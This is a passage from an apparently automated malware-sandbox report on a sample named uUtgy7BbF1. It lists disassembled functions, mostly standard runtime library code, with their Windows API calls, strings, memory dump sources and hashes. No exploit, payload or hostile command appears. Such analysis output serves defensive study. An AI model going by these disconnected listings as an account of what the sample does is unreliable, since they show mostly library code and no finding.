g, xrefs: 00432A61
p, xrefs: 00432A7F
t, xrefs: 00432A25
w, xrefs: 00432A1B
a, xrefs: 00432A2F

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitVariant
String ID: Z$a$c$g$n$p$p$s$t$w${$~
API String ID: 1927566239-3241135356
Opcode ID: 75c46943b2651eac38ca81ac704b743c7024d952c1a77a819c42d2055e78dec7
Instruction ID: 5e74e55bfebdbfff89dcf67c6b6cd9f6728498efe2e3599b3f27d88dd375cd61
Opcode Fuzzy Hash: 75c46943b2651eac38ca81ac704b743c7024d952c1a77a819c42d2055e78dec7
Instruction Fuzzy Hash: 9D414F7150D3C0CEE366CB28C49874BBFE25BD6308F49889DE5C44B396C6BA9509C763

Function 0069A1B2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,0069A19D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0069A258
__alloca_probe_16.LIBCMT ref: 0069A313
__alloca_probe_16.LIBCMT ref: 0069A3A2
__freea.LIBCMT ref: 0069A3ED
__freea.LIBCMT ref: 0069A3F3
__freea.LIBCMT ref: 0069A429
__freea.LIBCMT ref: 0069A42F
__freea.LIBCMT ref: 0069A43F

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 7d8b9ff974d7fdbb10fc8a2c0b20e0460e1612299f990adcd27e484d3b00739a
Instruction ID: acfe2d0dba9c9fc05706e937734e2dc5e805912f35fa8e4ce5320082f2f0fc1a
Opcode Fuzzy Hash: 7d8b9ff974d7fdbb10fc8a2c0b20e0460e1612299f990adcd27e484d3b00739a
Instruction Fuzzy Hash: 6371F3729002459BEF21AFE48C81BEE77EFAF49710F284059E804A7781EA769D0187D2

Function 0068DC7B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0068DD01

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 76cd254f3b8e765761cdde82e3165a3a1630fbfe1fb7a850d07f14f5abbed5a0
Instruction ID: 576021b09afc6409f7170cd32ad46e8875f385a152753421d5c04db468f97b58
Opcode Fuzzy Hash: 76cd254f3b8e765761cdde82e3165a3a1630fbfe1fb7a850d07f14f5abbed5a0
Instruction Fuzzy Hash: 52B13672A04255AFDB15AF68CC81BEEBBA7EF65310F144299E905AF3C2D274D901C7B0

Function 0067F7F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0067F827
___except_validate_context_record.LIBVCRUNTIME ref: 0067F82F
_ValidateLocalCookies.LIBCMT ref: 0067F8B8
__IsNonwritableInCurrentImage.LIBCMT ref: 0067F8E3
_ValidateLocalCookies.LIBCMT ref: 0067F938

Strings

csm, xrefs: 0067F8CD

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 15d936ece78bca1254026e1b19733eafd1722bdcd1403cba8dabfd3ee668b05b
Instruction ID: f120462aa7b71c7ed498b5a85d4ad06552af5174a41f37d39299af998d14fb51
Opcode Fuzzy Hash: 15d936ece78bca1254026e1b19733eafd1722bdcd1403cba8dabfd3ee668b05b
Instruction Fuzzy Hash: 7841C630A00218ABCF10EF68C845E9E7BB7AF45314F14C26AED189B352D775EE05CB95

Function 0068BD42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB40E64E,?,0068BE51,006735D2,?,00000000,?), ref: 0068BE03

Strings

ext-ms-, xrefs: 0068BDAD
api-ms-, xrefs: 0068BD99

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 603c0cc84a210a6f097dc5fd174ddfd08883448063fda667de7ef9147cb1cdb3
Instruction ID: e646a8712a590da30cc91d6b0b6a391bd81f95b26dff09217e8e6d5e0ce67648
Opcode Fuzzy Hash: 603c0cc84a210a6f097dc5fd174ddfd08883448063fda667de7ef9147cb1cdb3
Instruction Fuzzy Hash: 2221C371A01215BBD721BB64DC41A9A775BEF827A0F252324E916A7391DB70FD01CBD0

Function 0067EB1C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0067EB22
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0067EB30
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0067EB41

Strings

kernel32.dll, xrefs: 0067EB1D
GetTempPath2W, xrefs: 0067EB36
GetSystemTimePreciseAsFileTime, xrefs: 0067EB2A

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: a9d49e0b6812a12444cdfaeb98405d6bf4e34d4ca42054cc08df77e0b42a1f4f
Instruction ID: af8e87d92460fc587ae9d63d3bcfc609a5395057049ffb379c834174f544270a
Opcode Fuzzy Hash: a9d49e0b6812a12444cdfaeb98405d6bf4e34d4ca42054cc08df77e0b42a1f4f
Instruction Fuzzy Hash: 51D09E356893206F8300BB70BC0A8963E97BE476557069455F601D2665DBF41D418F94

Function 00698A9C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93aecd37d6b7aa43ee769c7cb4f58bca929973f394b1e71eaca88b2cad6aaebd
Instruction ID: a5951416ea0f8d8fd1bde7dff543e7c18b9c45c48cb8d5171ba928b00ee92c67
Opcode Fuzzy Hash: 93aecd37d6b7aa43ee769c7cb4f58bca929973f394b1e71eaca88b2cad6aaebd
Instruction Fuzzy Hash: 00B10470A04249AFDF11EF98C891BAE7BBBBF56314F140159E401AB792CB709D46CBA4

Function 00689AF4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00689AEB,0067F5BA,0067E585), ref: 00689B02
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00689B10
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00689B29
SetLastError.KERNEL32(00000000,00689AEB,0067F5BA,0067E585), ref: 00689B7B

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bdec31ff8058fef8a187d17bd290dab1edb2362af7b494e451ed1775431c660d
Instruction ID: 8d156b2d3aed5f5785c49dd32eefcfa06170c4fe3bf1f579c54e6a863abd32a2
Opcode Fuzzy Hash: bdec31ff8058fef8a187d17bd290dab1edb2362af7b494e451ed1775431c660d
Instruction Fuzzy Hash: 4F012832219A116F9B6137B5FC8597B2B9BEB06771728032EF222616F1FF215C009764

Function 0068A3BC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0068A4DB
CallUnexpected.LIBVCRUNTIME ref: 0068A754

Strings

csm, xrefs: 0068A3F9
csm, xrefs: 0068A512
csm, xrefs: 0068A466

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: e3d4479e77d73648df132269afdbd8f1ac60c58527f52ceaae4014a8e6845d02
Instruction ID: 7009716208625107aedca35593bfa1c200922fd4aed29e3df7d4509ea791a3f1
Opcode Fuzzy Hash: e3d4479e77d73648df132269afdbd8f1ac60c58527f52ceaae4014a8e6845d02
Instruction Fuzzy Hash: 26B18C71800209DFDF18EFE4C9419AEB7B6BF14310F18465EEC056B216E771EA91CBA6

Function 00684A89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0069B3E5,000000FF,?,00684B4A,00684A31,?,00684BE6,00000000), ref: 00684ABE
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00684AD0
FreeLibrary.KERNEL32(00000000,?,?,00000000,0069B3E5,000000FF,?,00684B4A,00684A31,?,00684BE6,00000000), ref: 00684AF2

Strings

mscoree.dll, xrefs: 00684AB7
CorExitProcess, xrefs: 00684AC8

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 78c646906be3ac8db1f6ab7820633cd91f1e05434861ce0d367c56ebe52be283
Instruction ID: 4becbbd43ebfc21b6e4f336f2a6c76630585cddb16f97556eb2ec5952e455443
Opcode Fuzzy Hash: 78c646906be3ac8db1f6ab7820633cd91f1e05434861ce0d367c56ebe52be283
Instruction Fuzzy Hash: F201A735A44615AFCB11AF80DC05BAE7BFEFB45B15F010625F821A6690DFB4AD00CF94

Function 0068C516 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0068C59B
__alloca_probe_16.LIBCMT ref: 0068C664
__freea.LIBCMT ref: 0068C6CB

Part of subcall function 0068AD61: HeapAlloc.KERNEL32(00000000,?,?,?,0067B9E5,?,?,006735D2,00001000,?,0067351A), ref: 0068AD93

__freea.LIBCMT ref: 0068C6DE
__freea.LIBCMT ref: 0068C6EB

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: f90fdeb8bd9b54b18a4701bd8bde3a640eb29533f26c3fe3ceb2cc624f4ae606
Instruction ID: ae755cbac6dbf518b2a9a7077af44043ccb2f528212c0b11624e9dc3e39daec8
Opcode Fuzzy Hash: f90fdeb8bd9b54b18a4701bd8bde3a640eb29533f26c3fe3ceb2cc624f4ae606
Instruction Fuzzy Hash: 6D518F72600206AFEB21BE648C81DEB7BABEF44720B25563ABD04D6241FB71DC908774

Function 00671860 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00671912
CloseHandle.KERNEL32 ref: 0067192E

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CloseFileHandleSize
String ID:
API String ID: 3849164406-0
Opcode ID: 2cb2ffbe635ff0ba562d339592e9658313324b824314ea95fbee8a25dabf3164
Instruction ID: c470a64b974e6e38500708a5f7107ed2a400706748f57c4b8cc4edd14bb299b5
Opcode Fuzzy Hash: 2cb2ffbe635ff0ba562d339592e9658313324b824314ea95fbee8a25dabf3164
Instruction Fuzzy Hash: DC719EB0D04248CFCB50EFA8D59879DBBF1BF49304F10852AE499AB341D774A945CF56

Function 0067E8E7 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0067E8FB
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E91A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E948
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E9A3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,0069B3C8,000000FF,?,0067B697), ref: 0067E9BA

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 1c1c3f728802181536541a028e204d2f824d8277be562337bc966a42d2587ff1
Instruction ID: c8b5abcb2b18580c68b24e45c95122f606a32d8fa1a38a97f81b77c28fd1a074
Opcode Fuzzy Hash: 1c1c3f728802181536541a028e204d2f824d8277be562337bc966a42d2587ff1
Instruction Fuzzy Hash: 36418E32600606DFCB60DF65C4859AAB3F6FF4D310B10869AE65AD7640E732F989CB51

Function 0067C054 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067C05B
std::_Lockit::_Lockit.LIBCPMT ref: 0067C066
std::_Lockit::~_Lockit.LIBCPMT ref: 0067C0D4

Part of subcall function 0067BF5D: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0067BF75

std::locale::_Setgloballocale.LIBCPMT ref: 0067C081
_Yarn.LIBCPMT ref: 0067C097

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 727cdb0f61d397990f33df1881d800833eed028beb9568ccb8709af8489e7f5c
Instruction ID: 9a60017a488052e73cb1c4adf9f7bb2905abae51536c01676c309c722b09e0c4
Opcode Fuzzy Hash: 727cdb0f61d397990f33df1881d800833eed028beb9568ccb8709af8489e7f5c
Instruction Fuzzy Hash: F0019A75A001108BCB46FB209C4567D7BA3FF96720B15A04CE81A57381CF74AE82CFD9

Function 0068F766 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(00000000,?,0068D392,?,?,?,00000000), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000,?,?,?,00000000,?,FFFFFFFF,000000FF,?,?,?,00000000), ref: 0068B059

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0068509A,?,?,?,00000055,?,-00000050,?,?,?), ref: 0068F825
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0068509A,?,?,?,00000055,?,-00000050,?,?), ref: 0068F85C

Strings

`/j, xrefs: 0068F7D9
utf8, xrefs: 0068F92E

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: `/j$utf8
API String ID: 943130320-95320002
Opcode ID: f6ced61b6e6136d3e926b7dbe67d760223ffed52cabdbd69086c7a501b1033bf
Instruction ID: 1fb9127e412af891d274115ff09ea816ae0eb7a856b3924774c53d5414acd384
Opcode Fuzzy Hash: f6ced61b6e6136d3e926b7dbe67d760223ffed52cabdbd69086c7a501b1033bf
Instruction Fuzzy Hash: 9B51C671600306BAEF25BB748C46BE673AAEF48700F150639F65597681FBB0E94087A9

Function 006952C1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0069535D,00000000,?,006A8180,?,?,?,00695294,00000004,InitializeCriticalSectionEx,0069F434,0069F43C), ref: 006952CE
GetLastError.KERNEL32(?,0069535D,00000000,?,006A8180,?,?,?,00695294,00000004,InitializeCriticalSectionEx,0069F434,0069F43C,00000000,?,0068AA0C), ref: 006952D8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00695300

Strings

api-ms-, xrefs: 006952E5

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 313052f82e40ab785fde7cb02eb9868b8dde2eb94cec083c591f0d80754283f1
Instruction ID: 79bf23bfe60ed8f2a1f334db341ca59a36e4d89bdcdbd3d1a913ded214b01bef
Opcode Fuzzy Hash: 313052f82e40ab785fde7cb02eb9868b8dde2eb94cec083c591f0d80754283f1
Instruction Fuzzy Hash: 34E01230284305B7DF212B60ED06B993B5B9B51B81F104021F90DA45E1EBE2F8108A54

Function 006930BF Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00693122

Part of subcall function 0068AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0068C6C1,?,00000000,-00000008), ref: 0068AED2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00693374
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006933BA
GetLastError.KERNEL32 ref: 0069345D

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 9cb0797b0bf03a0e290b562dc1c80e56c647fc0f10177d064678dd088e037bb0
Instruction ID: 91c527e9fab745a50c4147cd898217c51afd109dac9c03508e2e51edfd3f3829
Opcode Fuzzy Hash: 9cb0797b0bf03a0e290b562dc1c80e56c647fc0f10177d064678dd088e037bb0
Instruction Fuzzy Hash: 6DD16775D042589FCF15CFE8C8849EDBBBAFF09714F28416AE426EB751D630AA02CB50

Function 0068A0E3 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0068A1AA
___AdjustPointer.LIBCMT ref: 0068A1CD
___AdjustPointer.LIBCMT ref: 0068A269

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
